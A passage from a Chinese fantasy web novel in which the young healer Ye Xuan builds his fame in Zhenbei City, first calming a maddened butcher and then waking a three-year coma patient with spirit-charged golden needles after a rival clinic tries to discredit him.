一张破旧的桌子,一把椅子,旁边立着一块半旧不新的布幡,上面龙飞凤舞地写着四个大字——
“专治绝症”。
摊位后,叶玄一袭青衫,神态自若地闭目养神,仿佛对周围的喧嚣充耳不闻。
这怪异的组合,立刻吸引了无数路人的目光。
“哈?专治绝症?这小子疯了吧?”
“看他年纪轻轻,**长齐了没有?还敢自称神医?”
“又是哪里来的骗子,想钱想疯了!”
讥笑声,嘲讽声,不绝于耳。
更有几个闲汉围了上来,指着布幡,满脸戏谑。
“喂,小子,我这有条腿,三十年前被北莽蛮子砍的,一到阴雨天就疼得要死,算不算绝症?你给治治?”一个独眼龙大汉拍着自己的瘸腿,高声嚷道。
“我这心口疼,喘不上气,好几个大夫都说没救了,你给看看?”
叶玄连眼皮都未曾抬一下,淡淡吐出两个字。
“不治。”
那独眼龙一愣:“嘿,你不是专治绝症吗?瞧不起老子?”
叶玄终于睁开眼,眸光平静如水,扫了他一眼。
“你死不了。”
简单的三个字,却
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带着一股不容置疑的笃定。
“至于你,”他又看向那个心口疼的汉子,“昨夜宿醉,气血不畅而已,喝碗热粥,睡一觉便好。”
两人被叶玄那洞悉一切的眼神看得心头发毛,一时间竟说不出话来。
就在这时,一阵急促的喧哗声从街道另一头传来。
“快让开!快让开!”
“张屠户家的疯病又犯了!”
人群如潮水般向两边散开,只见一个身高八尺、壮硕如牛的屠夫,双眼赤红,口中发出野兽般的嘶吼,正拿着一把杀猪刀疯狂挥舞。
他身后,一个妇人带着个七八岁的孩子,哭得撕心裂肺。
“当家的,你醒醒啊!”
巡城的卫兵很快赶到,但看着那状若疯魔的屠夫和雪亮的屠刀,一时间也不敢上前。
“这张屠户,以前是军中斥候,三年前在战场上受了刺激,脑子坏了,每隔几个月就要发作一次,谁也治不好。”
“是啊,可惜了,听说他当年也是个杀敌的好汉。”
“这下完了,没人敢上去,怕是要出人命了!”
周围人议论纷纷,满是惋惜和恐惧。
就在所有人都束手无策之际。
一道青色的身影,不急不缓地从人群中走出,径直走向那疯狂的屠夫。
正是叶玄。
“小子,你不要命了!”有卫兵惊呼。
苏轻雪不知何时也出现在人群中,她找到了叶玄想要的靶子,没想到,叶玄自己先撞上了一个。
她的心,瞬间提到了嗓子眼。
所有人的目光,都聚焦在了叶玄身上。
只见叶玄面对那当头劈下的屠刀,不闪不避,只是伸出两根手指。
食指,中指。
快如闪电。
“铛!”
一声脆响。
那势大力沉的屠刀,竟被他用两根手指稳稳夹住,再也无法寸进分毫!
满场死寂!
所有人都瞪大了眼睛,仿佛看到了鬼魅!
那屠夫也是一愣,随即更加疯狂地嘶吼,想要抽出屠刀。
叶玄眼神一冷,屈指一弹。
“嗡——”
刀身剧烈震颤,一股无形的力量顺着刀柄传导过去,屠夫只觉得手臂剧震,虎口迸裂,杀猪刀脱手飞出,旋转着钉入了旁边的墙壁,入墙三分!
嘶!
倒吸凉气的声音此起彼伏。
未等众人反应过来,叶玄身形一晃,鬼魅般欺近屠夫身前,并指如剑,快如流光,在那屠夫的额头、胸口、腹部几处大穴上,闪电般点了几下。
那原本狂暴如凶兽的屠夫,身躯猛地一僵。
眼中的赤红,以肉眼可见的速度褪去。
迷茫,困惑,最后化为一丝清明。
第61章 如你所愿
“我……我这是……”
张屠户茫然地看着自己的双手,那双沾满鲜血和油污的手,此刻却在微微颤抖。
他眼中的清明越来越盛,记忆如潮水般涌回,他想起了自己状若疯魔的丑态,想起了对妻儿挥舞屠刀的疯狂。
“哇——”
他身后,那一直被妇人死死抱住的孩子,终于挣脱出来,跌跌撞撞地扑向他。
“爹!你好了!你认得我了!”
妇人也跪倒在地,喜极而泣,对着叶玄的方向,用尽全身力气磕了一个响头,额头与冰冷的青石板碰撞,发出沉闷的声响。
“神医!多谢神医救命之恩!您就是我家的再生父母啊!”
张屠户虎躯一震,猛地转身,看着眼前这个青衫淡漠的年轻人,这个将他从无边地狱中拉回来的恩人,他一个七尺高的铁血汉子,双膝一软,竟是直挺挺地跪了下去。
“恩公!”
他声音嘶哑,满是愧疚与感激,“张奎无以为报,这条命,以后就是您的了!”
“敢问恩公名讳?!”
叶玄神色依旧平静,仿佛眼前的一切都与他无关。
他甚至没有去看那跪地的屠夫一家,只是淡淡开口:“叶潜渊。”
说罢,他转身,便要走回自己的摊位。
那卫兵头领见状,连忙上前一步,姿态放得极低,语气中满是恭敬:“叶先生,您这等神乎其技的医术,若是上报王府,必然会得到重赏!”
他这是在示好,也是在提醒。
叶玄的脚步顿了顿,没有回头。
“我治病,有我的规矩。”
他声音不大,却清晰地传入了每个人的耳中。
“今日之事,到此为止。”
卫兵头领心中一凛,不敢再多言,只能再次躬身行礼,目送着叶玄回到那个简陋的摊位后,重新坐下,闭目养神,仿佛又变回了那个无人问津的江湖郎中。
喧闹的人群缓缓散去,但每个人脸上都还带着未曾消退的震撼。
他们知道,从今天起,“叶潜渊”这个名字,注定要在镇北城掀起波澜。
张屠户带着妻儿,又对着叶玄的摊位重重磕了三个响头,这才在周围人复杂的目光中,搀扶着离去。
人群散尽,苏轻雪才从角落里走出,她那双清冷的秋水眸子里,此刻异彩连连。
她走到叶玄身边,轻声道:“公子这一手,当真是一针惊北城。看来,小女子之前寻找的靶子,已经用不上了。”
叶玄眼皮都未抬一下,声音淡漠。
“这只是开胃菜。”
“一个疯屠户,分量太轻,还入不了王府的眼。”
苏轻雪瞬间了然,心悦诚服。
是啊,治好一个平民,最多在坊间传为美谈,引来一些小人物的追捧。
但对于镇北王那种真正的大人物而言,这不过是市井趣闻,听过便忘了。
叶玄的目标,从一开始就不是这些平民的感激。
他要的,是让那些高高在上的人,也感到切肤之痛,也生出求生渴望,从而主动找上门来!
正如叶玄所言,好戏,才刚刚开始。
……
“神医治好了张屠户疯病”的消息,像是长了翅膀,在短短半日之内,就传遍了整个南城坊市,甚至开始向着其他城区蔓延。
效果立竿见影。
下午还门可罗雀的简陋摊位,到了第二天清晨,已是人山人海,里三层外三层围得水泄不通。
“神医!求求您救救我儿吧!他高烧不退,已经三天没吃东西了!”一个衣衫褴褛的妇人跪在地上,拼命磕头。
“叶神医!我这腿是旧伤,求您给看看,多少钱都行!”一个断了腿的佣兵被人搀扶着,满眼期盼。
“我爹他……他咳血不止,城里的大夫都说没救了,求神医发发慈悲!”
一张张或焦急,或痛苦,或期盼的脸,将小小的摊位围得密不透风。
然而,面对这山呼海啸般的请求,摊位后的叶玄,依旧双目紧闭,稳坐如山。
仿佛一尊没有感情的石雕。
直到一个老者被儿子背着,挤到最前面,那老者气若游丝,面如金纸,显然已经到了油尽灯枯的边缘。
“神医!家父……家父还能治吗?”那汉子满头大汗,声音颤抖。
叶玄终于睁开了眼。
他的目光在老者身上一扫而过,平静地吐出四个字。
“阳寿已尽。”
言下之意,天命如此,神仙难救。
那汉子如遭雷击,噗通一声跪倒在地,失声痛哭。
叶玄的目光扫过全场,声音不大,却带着一股不容置疑的冰冷。
“我再说一遍。”
“我这里,只治绝症。”
“何为绝症?”
“——便是满城大夫束手,王侯将相无策,只能等死之人。”
“寻常风寒腿伤,阳寿已尽者,一概不治。”
“这是我的规矩。”
话音落下,全场哗然!
“什么?不治?”
“我娘都快不行了,这还不算绝症吗?”
“神医,您不能见死不救啊!我们给钱,给钱还不行吗?”
人群的情绪,从最初的期盼,瞬间转为了巨大的失望和不解。
尤其是那些被叶玄判定为“非绝症”的病患家属,更是如坠冰窟。
希望就在眼前,触手可及,却被一道无情的门槛挡在外面!
“神医!求您了!求您开恩啊!”
“我给您做牛做马!求您救救我女儿!”
哭喊声,哀求声,此起彼伏。
数十人,上百人,齐刷刷地跪了下去,场面无比悲怆。
他们想不通,为何有如此神技之人,心肠却如此之硬?为何能救,却不肯出手?
然而,任凭他们如何哀求,叶玄始终无动于衷,面色冷漠,再次闭上了双眼。
他不是圣母。
他的时间和精力,他“神医”这个身份的价值,都必须用在刀刃上。
广施恩德,救济百民?
那是庸医才会做的事。
他要做的,是定点爆破,是用一个又一个必死的奇迹,将叶潜渊这个名字,打造成一块价值连城的金字招牌!
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一块足以敲开王府大门的敲门砖!
就在这悲声震天,气氛压抑到极点的时候。
人群中,一个阴阳怪气的声音,突兀地响了起来。
“哼,说得好听,什么专治绝症,我看就是个幌子!”
声音不大,却像一滴冷水滴入了滚油之中,瞬间让沸腾的场面安静了一瞬。
众人循声望去,只见一个贼眉鼠眼,穿着绸衫的瘦小男子,正抱着双臂,一脸不屑地撇着嘴。
“大家别被他骗了!”
瘦小男子提高了音量,指着叶玄,言之凿凿。
“什么狗屁规矩!依我看,他根本就没那个本事!”
“治好那个张屠户,八成就是瞎猫碰上死耗子,撞大运了!”
“你们想想,要是他真有那么大本事,为什么不敢治这些寻常病症?因为他怕露馅啊!”
这番话,如同惊雷,在众人心中炸响。
对啊!
为什么?
如果他真的医术通神,治好一个小小的风寒,岂不是手到擒来?为何要拒绝?
这不合常理!
人们心中刚刚被无情拒绝的怨气,瞬间找到了宣泄口。
“对!说得有道理!治个小病都不敢,还敢称神医?”
“我就说嘛,哪有这么年轻的神医!”
“骗子!他肯定是个骗子!想借着张屠户的事扬名,然后去骗那些达官贵人!”
人群的情绪,在短短几句话的煽动下,急转直下。
怀疑,愤怒,被欺骗的羞辱感,迅速取代了之前的敬畏和期盼。
方才还跪在地上苦苦哀求的病患家属们,此刻也站了起来,用一种审视和愤怒的目光瞪着叶玄。
“小子!你到底会不会治病?给句准话!”
“你要是治不了,就别在这装神弄鬼,耽误我们去别处求医!”
“滚出镇北城!我们这里不欢迎骗子!”
那贼眉鼠眼的男子见状,嘴角勾起一抹得意的冷笑,再次高声煽动:
“大家伙儿,他心虚了!他不敢说话了!他要是真有本事,就让他当场再治一个给我们看看啊!治一个真正被所有大夫判了**的绝症!”
“对!再治一个!”
“治一个给我们看!”
群情激奋,声浪滔天,仿佛要将这个小小的摊位彻底掀翻。
苏轻雪站在不远处,柳眉微蹙。
她看得分明,那个带节奏的瘦小男子,绝非普通平民,其眼中的精光和算计,分明是某个势力派来搅局的。
局势,开始失控了。
然而,就在这滔天的声浪与质疑的漩涡中心。
叶玄,终于缓缓地,第三次睁开了双眼。
他的脸上,没有愤怒,没有惊慌,甚至没有一丝一毫的波澜。
有的,只是一抹淡淡的,仿佛看穿了一切的,冰冷的笑意。
他要的靶子,自己送上门了。
他要的舞台,也已经搭好。
他的目光,越过愤怒的人群,精准地落在了那个带节奏的瘦小男子身上,平静地开口。
“如你所愿。”
第62章 活**,算不算绝症?
那四个字,如暮鼓晨钟,清晰地敲在每个人的心上。
如你所愿。
没有愤怒,没有辩解,甚至没有一丝一毫的情绪起伏。
仿佛眼前这滔天的声浪,这足以将人吞噬的质疑与怒火,在他眼中,不过是舞台搭成时,必然会响起的锣鼓。
喧嚣的现场,因为这平淡的四个字,诡异地安静了一瞬。
所有人都愣住了。
他们预想过叶玄的各种反应,或是惊慌失措,或是色厉内荏,或是恼羞成怒。
却唯独没有想到,会是这般的平静,平静得令人心悸。
叶玄的目光,穿透了层层叠叠的人影,精准地锁定在了那个贼眉鼠眼的瘦小男子身上。
那目光很淡,却像一柄无形的利剑,瞬间刺破了瘦猴伪装出的嚣张气焰。
“既然你质疑,那便由你来出题。”
叶玄缓缓开口,声音不大,却带着一种不容置疑的威严。
“去吧。”
“去找一个病人来。”
“一个……满城皆知,被所有医馆判了**,连王府供奉都束手无策的病人。”
“找来,带到我面前。”
“我,就在这里等。”
“一试,便知真假。”
一番话,行云流水,掷地有声!
他竟是将对方的难题,原封不动地,以一种更狂傲的姿态,扔了回去!
这已经不是自信了,这是极致的自负!
那瘦猴被叶玄的气势所慑,竟下意识地后退了半步,脸色一阵青一阵白。
他没想到,这小子非但没被吓住,反而敢如此托大!
这简直是把刀柄递到了自己手上!
“好!好!好!”
瘦猴反应过来后,脸上瞬间涨得通红,不知是气的还是兴奋的,他指着叶玄,对着周围的人群嘶声大喊:“大家伙儿都听到了!这可是他自己说的!”
“满城皆知,药石无医!”
“你给我等着!我这就去找!我倒要看看,你今天怎么收场!”
说罢,他撂下一句狠话,便如一条泥鳅般,拨开人群,一溜烟地朝着南城坊市外跑去。
他不敢有丝毫耽搁,一路狂奔,穿过几条街巷,最终在一个气派的医馆门前停了下来。
医馆牌匾上,龙飞凤舞地写着三个大字——回春堂。
这是镇北城南城最大的医馆,医术精湛,素有声望。
瘦猴一头扎进医馆,直奔后堂,对着一个正在捻着胡须看账本的锦衣中年人,气喘吁吁地说道:“刘掌柜,成了!那小子……那小子他上钩了!”
刘掌柜缓缓抬起头,露出一张精明而略带傲慢的脸。
他正是回春堂的主人,刘济。
“哦?他怎么说?”刘济呷了口茶,慢条斯理地问道,似乎对结果早有预料。
瘦猴将刚才发生的事情添油加醋地说了一遍,末了,兴奋地搓着手:“掌柜的,您是没看见那小子的狂样!他说让我们随便找,找个最难的,连王府供奉都治不好的!这不是自己找死吗?”
刘济闻言,嘴角浮现一抹冷笑。
“不知天高地厚的黄口小儿。”
他放下茶杯,眼中闪过一丝狠厉。
“治好一个疯屠户,便以为自己能与日月争辉了?”
“我回春堂在镇北城立足数十年,什么疑难杂症没见过?他一个毛头小子,也敢妄称‘神医’,简直滑天下之大稽!”
“他既然想死,那我们就成全他。”
刘济站起身,在堂中踱了两步,眼中算计的光芒一闪而过。
“你去城西,李员外家。”
“他家那个独子,三年前坠马,从此昏迷不醒,形同活**。我亲自去看过,神魂离散,生机断绝,不过是靠着名贵药材吊着一口气罢了。”
“城中所有名医,包括王府的张供奉,都断言此生再无苏醒可能。”
刘济的笑容愈发冰冷。
“这个病人,够不够分量?”
瘦猴一听,眼睛瞬间亮了,脸上满是奸计得逞的狂喜:“够!太够了!掌柜的高明!一个活**,他叶潜渊就算真是神仙下凡,也别想救活!”
“去吧。”刘济摆了摆手,“告诉李员外,就说南城坊市来了位叶神医,自称专
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治绝症,手段通天,让他务必去试一试。”
“记住,要说得天花乱坠,把那小子的本事吹上天!让他连拒绝的机会都没有!”
“捧得越高,摔得越惨!”
“是!”瘦猴心领神会,脸上露出一个阴险的笑容,“小的明白!这叫捧杀!我这就去办!”
……
半个时辰后。
整个南城坊市,乃至半个镇北城,都因为一个消息而彻底沸腾了。
“听说了吗?回春堂的刘掌柜都束手无策的李家公子,要被拉去给那个叶神医治了!”
“哪个李家公子?就是那个昏睡了三年的活**?”
“可不是嘛!听说那个叶神医放出话来,说天下没有他治不了的绝症!”
“真的假的?这也太狂了吧!”
一时间,无数好事者,闻风而动,从四面八方涌向叶玄那个简陋的摊位。
很快,一条由人群组成的通道,在喧闹中被强行分开。
瘦猴昂首挺胸地走在最前面,在他身后,四个壮汉抬着一副担架,正一步步走来。
担架上,躺着一个面色苍白如纸,双目紧闭的年轻男子,若不是胸口还有微不可察的起伏,与**无异。
担架旁,跟着一对衣着华贵,却面容憔悴,双眼红肿的中年夫妇,正是李员外和他的妻子。
他们脸上,带着一丝被旁人吹捧出的,连自己都不敢相信的希冀。
人群的目光,在担架上的活**和摊位后稳坐如山的叶玄之间,来回逡巡。
所有人的心,都被提到了嗓子眼。
这,才是真正的考验!
这,才是真正的绝症!
瘦猴带着人,穿过人群,将担架重重地放在了叶玄的摊位前。
他看着依旧闭目养神的叶玄,嘴角勾起一抹残忍而得意的弧度,用一种足以让全场都听见的声音,高声喊道:
“叶神医!”
“人,我给你带来了!”
“城西李员外之子,昏睡三年,药石罔效,全城公认的活**!”
“这,算不算绝症?”
“现在,请吧!”
第63章 这活**,我能治
万籁俱寂。
整个南城坊市,成千上万道目光,此刻都死死地聚焦在那个简陋的摊位前。
挑战者,得意洋洋,满脸的残忍与讥讽。
应战者,闭目养神,稳如泰山。
而那被当做赌注的病人,则像一截枯木,静静地躺在担架上,了无生机。
空气仿佛凝固了。
所有人都屏住了呼吸,等待着那个年轻“神医”的反应。
他要么当场认怂,从此沦为镇北城的笑柄。
要么硬着头皮上,然后被这个不可能完成的任务,彻底钉死在骗子的耻辱柱上。
无论哪种结果,今天这场戏,都足够精彩!
在万众瞩目之下,叶玄终于缓缓睁开了双眼。
他的目光,没有理会那叫嚣的瘦猴,而是直接落在了担架上那个“活**”的身上。
他的眼神很平静,就像一个经验丰富的工匠在审视一件需要修复的器物。
天子望气术,悄然运转。
【姓名:李默】
【状态:重度昏迷(生机断绝,神魂离散)】
【病因:颅内淤血压迫神魂,有异物残留。】
【救治方案:以金针刺入百会、神庭、风池三处大穴,用灵力化开淤血。再以巧劲逼出颅内异物,可苏醒。】
异物残留?
叶玄的眉头微不可察地一挑。
这就有意思了。
坠马,导致颅内出血昏迷,这很正常。
但有异物残留,就说明事情没那么简单。
他的目光从李默那苍白如纸的脸上,缓缓上移,最终停留在他被头发遮掩的额角。
在那里,他看到了一处早已愈合,却依然留下浅浅疤痕的伤口。
那伤口的形状,细小而深邃。
绝不是坠马磕碰能造成的。
更像是……被某种尖锐之物刺入。
叶玄的心中,瞬间了然。
这场所谓的“意外”,背后恐怕另有隐情。
不过,这与他无关。
他要的,只是一个足够分量的病人,一个足以让他一鸣惊人的舞台。
现在,病人来了,舞台也搭好了。
那就够了。
“叶神医,怎么不说话了?”
瘦猴见叶玄久久不语,还以为他被吓傻了,脸上的得意之色更浓,声音也愈发尖锐刺耳。
“是不是没见过这种阵仗?是不是怕了?”
“我早就说了,你就是个骗子!现在,在大家伙儿面前,你还有什么好说的?”
“这可是活**!全城的大夫,连回春堂的刘掌柜,王府的张供奉都判了**!你敢治吗?你治得了吗?”
他声嘶力竭地喊着,试图用言语将叶玄彻底压垮。
那对衣着华贵的中年夫妇,李员外和他的妻子,脸上刚刚被吹捧出的那丝希冀,也在这刺耳的质问声中,一点点黯淡下去。
是啊。
连回春堂的刘掌柜都束手无策。
连王府供奉都断言绝无苏醒可能。
眼前这个年轻人,真的能创造奇迹吗?
他们不敢相信,却又忍不住抓住这最后一根救命稻草。
两人噗通一声,对着叶玄跪了下来。
“叶神医!”李员外声音嘶哑,老泪纵横,“求求您,求求您救救我儿!”
“只要您能救活默儿,我们李家愿倾尽家产,为您做牛做马!”
李夫人更是哭得几乎晕厥过去,只是一个劲地磕头。
周围的人群,也发出一阵阵议论。
“这下难办了,这年轻人怕是要骑虎难下了。”
“是啊,答应了,治不好就是骗子。不答应,这见死不救的名声也跑不了。”
“回春堂这次,是真够狠的,直接把人往死路上逼啊。”
就在这喧嚣与悲戚交织的漩涡中心。
叶玄,终于开口了。
他的声音依旧平淡,不起波澜,却像一道惊雷,清晰地在每个人耳边炸响。
“这病,我能治。”
什么?!
全场瞬间死寂!
所有人都瞪大了眼睛,不敢相信自己的耳朵。
他竟然……真的敢答应?
那瘦猴脸上的笑容,猛地僵住。
他怎么敢?!
一个活**啊!
他凭什么敢说能治?
跪在地上的李员外夫妇,更是浑身一震,猛地抬起头,眼中爆发出难以置信的狂喜与激动。
“神医!您……您说的是真的?”
叶玄没有理会他们,他的目光,重新落回了那个瘦猴身上。
“但是,我有我的规矩。”
叶玄缓缓站起身,一股无形的威压,以他为中心,骤然散开。
那瘦猴被这股气势一冲,竟下意识地又后退了一步。
只听叶玄冷冷地说道:“我的诊金,很贵。”
他伸出了一根手指。
“这个数。”
瘦猴一愣,随即发出一声嗤笑:“一百两?我还以为多少!李员外家大业大,别说一百两,就算一千两也拿得出来!”
叶玄摇了摇头,嘴角勾起一抹冰冷的弧度。
“你错了。”
“我说的是,一万两。”
“黄金。”
嘶——!
倒吸凉气的声音,此起彼伏!
一万两黄金!
这是什么概念?
足以买下小半个镇北城了!
这已经不是诊金了,这是赤裸裸的**!
“疯子!你就是个疯子!”瘦猴指着叶玄,气得浑身发抖,“你这根本不是治病,你这是想
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钱想疯了!”
就连李员外夫妇,也被这个天文数字给吓傻了。
一万两黄金,就算他们李家倾尽所有,恐怕也难以凑齐。
人群更是彻底炸开了锅。
“我就说他是骗子!原来是在这等着呢!治不好,反正诊金没给。治好了……这谁给得起啊!”
“这算盘打得,真是精啊!”
“看来今天这病,是治不成了。”
然而,叶玄接下来的话,却再次让所有**跌眼镜。
“而且,我要先收钱,后治病。”
他看着脸色阵青阵白的李员外,淡淡道:“给钱,我立刻动手。不给钱,那就请回吧。”
这番话,彻底断绝了所有的后路!
狂!
太狂了!
这已经不是自信,而是狂妄到没边了!
所有人都觉得叶玄疯了。
唯有不远处的苏轻雪,清冷的眸子里,闪烁着了然的光芒。
她知道,叶玄这么做,不是为了钱。
他是要用这种最极端的方式,将“叶神医”三个字的价值,彻底烙印在所有人的心里!
一个敢开价一万两黄金的医生,他的医术,该是何等惊世骇俗?
这个噱头,比任何的宣传都有用!
“好!”
就在所有人都以为李员外会放弃的时候。
这位爱子心切的父亲,竟猛地一咬牙,仿佛用尽了全身的力气,从牙缝里挤出了一个字。
“我给!”
他转过头,对着身后的管家嘶吼道:“去!回府!把库房里所有的金子都拿出来!把地契、房契,所有能换钱的东西都拿出来!”
“就算是砸锅卖铁,也要把这一万两黄金给神医凑齐!”
管家愣住了,结结巴巴地道:“老爷……这……”
“快去!”李员外双目赤红,状若疯虎。
“是!”管家不敢再多言,连滚带爬地跑了。
瘦猴彻底傻眼了。
他没想到,事情会发展到这个地步。
一万两黄金,他们竟然真的答应了!
这要是万一……万一真被这小子治好了,那他……
他不敢再想下去,只觉得一阵天旋地转。
叶玄看着这一幕,脸上依旧是那副古井无波的表情。
他重新坐下,再次闭上了眼睛。
“我,就在这里等。”
“钱到,人活。”
这平淡的四个字,却带着一种君临天下的霸道,让整个喧嚣的坊市,再无半分杂音。
所有人的心,都被这即将到来的惊天豪赌,提到了嗓子眼。
他们都在等待。
等待着那一万两黄金的到来。
也等待着那个……足以载入镇北城史册的奇迹,或者笑话。
第64章 金针渡魂,起死回生!
时间,在一种近乎凝滞的氛围中,一分一秒地流逝。
南城坊市的街口,人越聚越多。
消息像长了翅膀一样,传遍了镇北城的每一个角落。
一万两黄金,赌一个活**的命。
这个消息太劲爆了,足以让任何一个闲人都放下手里的活计,跑过来看个究竟。
摊位前,那片由人群自发让出的空地上,气氛压抑得可怕。
叶玄依旧闭目稳坐,仿佛入定的老僧。
李员外夫妇跪在地上,身体因为紧张和期盼而微微颤抖,眼睛死死地盯着坊市入口的方向。
瘦猴则脸色惨白,六神无主地站在一旁,眼神闪烁,额头上满是冷汗。
他身后的角落里,回春堂的刘掌柜,也换了一身不起眼的衣服,混在人群中,一双精明的眼睛里,此刻充满了阴冷与不解。
他不明白。
这小子到底哪来的底气?
他亲自诊断过的病人,神魂离散,生机断绝,那绝对是神仙难救的死症!
难道,这小子真的会什么妖法不成?
“来了!来了!”
不知是谁喊了一声,人群瞬间骚动起来。
只见坊市入口处,一辆华贵的马车在十几名护卫的簇拥下,横冲直撞地驶了进来。
马车还没停稳,那个之前跑掉的管家就滚了下来,他身后跟着几个家丁,抬着几个沉甸甸的大箱子。
“砰!砰!砰!”
几个箱子被重重地放在了叶玄的摊位前,打开箱盖,里面顿时金光四射,晃得人睁不开眼。
满满几大箱的金条金元宝!
“神医!”
李员外连滚带爬地扑到箱子前,声音颤抖地说道:“这里是五千两黄金,是我李家全部的家底了!”
说着,他又从怀里掏出一大叠房契地契。
“这些是我李家所有的铺子和庄子,加起来也值五千两黄金!现在,全都给您!”
“求神医,救我儿性命!”
嘶!
看着眼前这震撼的一幕,所有人都倒吸了一口凉气。
真的拿来了!
一万两黄金的家产,就这么堆在了一个简陋的街边摊位前!
所有人的目光,瞬间又聚焦到了叶玄身上。
钱,已经到了。
现在,该他兑现承诺了。
在所有人的注视下,叶玄终于缓缓睁开了双眼。
他看都没看那些金子和地契一眼,只是平静地站起身,走到了担架前。
他伸出手,轻轻撩开了病人李默额前的头发。
那道细小而深邃的伤疤,清晰地暴露在众人眼前。
“三年前,他坠马之时,除了磕碰,可还有被其他东西所伤?”叶玄淡淡地问道。
李员外一愣,仔细回忆了片刻,茫然地摇了摇头。
“没有啊……当时就说是从马上摔下来,磕到了头,就一直昏迷不醒了。”
叶玄不再多问。
他转过头,对一旁的苏轻雪说道:“去药铺,帮我买一套最好的金针来。”
“要长短不一,九种尺寸,每种九根。”
苏轻雪看了叶玄一眼。
这家伙……
但还是回应道
“是,公子。”
那瘦猴见状,立刻又找到了可以攻击的点,尖着嗓子喊道:“怎么?治病连针都没有?你这神医当得也太寒酸了吧!”
叶玄冷冷地瞥了他一眼,那眼神,像在看一个跳梁小丑。
“我的针,从来轻动。”
简单的一句话,却让瘦猴满脸鄙夷,装货!。
很快,苏轻雪便提着一个精致的木盒回来了。
“公子,你要的金针。”
叶玄接过木盒,将其打开。
一排长短粗细各不相同的金针,在阳光下闪烁着森冷的光芒。
他没有立刻动手,而是伸出两根手指,在李默的头顶,从百会穴开始,顺着经络,一寸一寸地仔细按压探查。
他的动作很慢,很专注。
所有人都屏住了呼吸,连大气都不敢喘。
终于,他的手指在李默的太阳穴附近,一个极其细微的位置停了下来。
就是这里。
“都退后。”
叶玄淡淡地开口。
人群下意识地向后退了几步,将中央的空地让得更大。
叶玄从针盒中,取出了一根最细最短的金针。
他并指如剑,金针被他夹在指尖,一丝若有若无的金色灵力,瞬间缠绕上了针身。
“看好了。”
叶-玄的目光,扫过全场,最后落在了人群中那个脸色阴沉的刘掌柜身上。
“活**,是怎么救的。”
话音未落,他手腕一抖。
那根金针,化作一道金色的流光,快如闪电,没有丝毫停滞地刺入了李默头顶的百会穴!
嗡!
金针入穴,针尾竟发出一阵轻微的嗡鸣,久久不散!
这一手,瞬间让懂行的人脸色剧变!
尤其是回春堂的刘掌柜,他的瞳孔骤然一缩,脸上写满了难以置信。
以气御针!
而且是如此精纯的灵力!
这小子,不仅是医道高手,还是一个修为不低的武道强者!
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他到底是什么人?
没等他从震惊中回过神来,叶玄的动作没有丝毫停顿。
第二根,第三根,第四根……
一根根金针,被他用各种匪夷所思的手法,精准无比地刺入了李默头部的各大要穴。
神庭、风池、太阳、人中……
他的动作行云流水,快得让人眼花缭乱。
不过短短十几个呼吸的时间,李默的头上,已经插满了数十根金针,每一根都在微微震颤,仿佛拥有自己的生命。
一股股精纯的金色灵力,顺着这些金针,渡入李默那早已死寂的脑海之中。
那团凝固了三年的淤血,在这股霸道而温和的力量下,开始以肉眼可见的速度消融、化解。
李默那张苍白如纸的脸上,竟奇迹般地,泛起了一丝微弱的血色。
“天啊!你们看!他……他脸上有血色了!”
人群中,有人发出了压抑不住的惊呼。
所有人都瞪大了眼睛,死死地盯着担架上的李默。
李员外夫妇更是激动得浑身颤抖,泪水再次汹涌而出。
有反应了!
真的有反应了!
叶玄的表情依旧平静。
化开淤血,只是第一步。
接下来,才是最关键,也是最凶险的一步。
逼出异物!
他深吸一口气,双指并拢,猛地按在了李默的眉心祖窍之上。
一股比之前庞大了数倍的灵力,轰然涌入!
“给我……出来!”
叶玄一声低喝。
只见插在李默头上的数十根金针,瞬间光芒大放,嗡鸣声响成一片!
“噗!”
一声极其轻微的声响。
一道细如牛毛的黑光,猛地从李默额角那个旧伤疤中,被硬生生逼了出来,射向半空!
叶玄眼神一凝,早有准备,屈指一弹。
一道指风精准地击中了那道黑光。
“叮”的一声脆响,那道黑光被弹飞,旋转着钉入了旁边摊位的木头桌腿上。
众人定睛一看,瞬间倒吸一口凉气。
那竟是一截早已被鲜血染成黑色的……绣花针的针尖!
看到这截针尖,所有人都明白了。
这根本不是什么意外坠马!
这是**!
然而,此刻已经没有人关心这个了。
所有人的目光,都死死地盯着担架上的那个年轻人。
就在那截针尖被逼出的瞬间。
担架上,那个昏睡了三年,被断定永无苏醒可能的活**——李默。
他的眼睫毛,轻轻地,颤动了一下。
第65章 叶神医的大名响彻全城!
颤动了!
真的颤动了!
所有人的心脏,都随着那轻微的颤动,狠狠地抽搐了一下!
那不仅仅是眼睫毛的颤动,那是生命重新复苏的信号!
“默儿!默儿!”
李员外夫妇再也控制不住,扑到担架前,声音颤抖得不成样子。
担架上,李默的眉头微微皱起,仿佛在做一个冗长而痛苦的梦。
他的手指,也开始轻微地抽动。
呼吸,从微不可察,变得渐渐清晰、平稳。
胸口的起伏,也越来越明显。
叶玄收回手指,缓缓吐出一口浊气。
他的脸色,比之前苍白了几分。
同时操控数十根金针,还要分出一股灵力逼出异物,对他而言,也是不小的消耗。
他伸手,快如闪电,将李默头上的金针一一拔出,放回木盒。
整个过程,没有发出一丝声响。
做完这一切,他退后一步,平静地看着自己的杰作,仿佛只是完成了一件微不足道的小事。
而此刻的现场,已经彻底疯了。
“醒了!真的要醒了!”
“神迹!这简直是神迹啊!”
“活**啊!昏睡了三年的活**,竟然真的被他救活了!”
“神医!这才是真正的神医!”
惊叹声、赞美声、议论声,汇成一股滔天的声浪,几乎要将南城坊市的屋顶都给掀翻!
那些之前还满脸质疑,说叶玄是骗子的百姓,此刻一个个面红耳赤,恨不得找个地缝钻进去。
他们的脸上,写满了羞愧,但更多的,却是亲眼见证奇迹的狂热与敬畏!
而那个一直上蹿下跳的瘦猴,此刻已经彻底傻了。
他呆呆地看着担架上那个即将苏醒的李默,又看了看那根钉在桌腿上的淬血针尖,只觉得双腿一软,一屁股瘫坐在了地上。
完了。
彻底完了。
他不仅没能把叶玄踩下去,反而亲手把他送上了神坛!
回春堂的名声,从今天起,就要被这个年轻人死死地踩在脚下了!
他身后的刘掌柜,更是面如死灰。
他死死地盯着叶...玄,眼神中充满了怨毒、嫉妒,还有一丝无法掩饰的恐惧。
他输了。
输得一败涂地,体无完肤。
“咳……咳咳……”
一阵轻微的咳嗽声,打断了所有的喧嚣。
全场瞬间再次安静下来。
所有的目光,都聚焦在担架上。
只见李默缓缓地,睁开了那双紧闭了三年的眼睛。
初时,他的眼神一片迷茫,仿佛不知道自己身在何处。
他艰难地转动着眼珠,看着周围一张张陌生的脸,看着头顶那片熟悉又陌生的天空。
“我……我这是在哪?”
他的声音,因为太久没有说话,沙哑干涩得厉害。
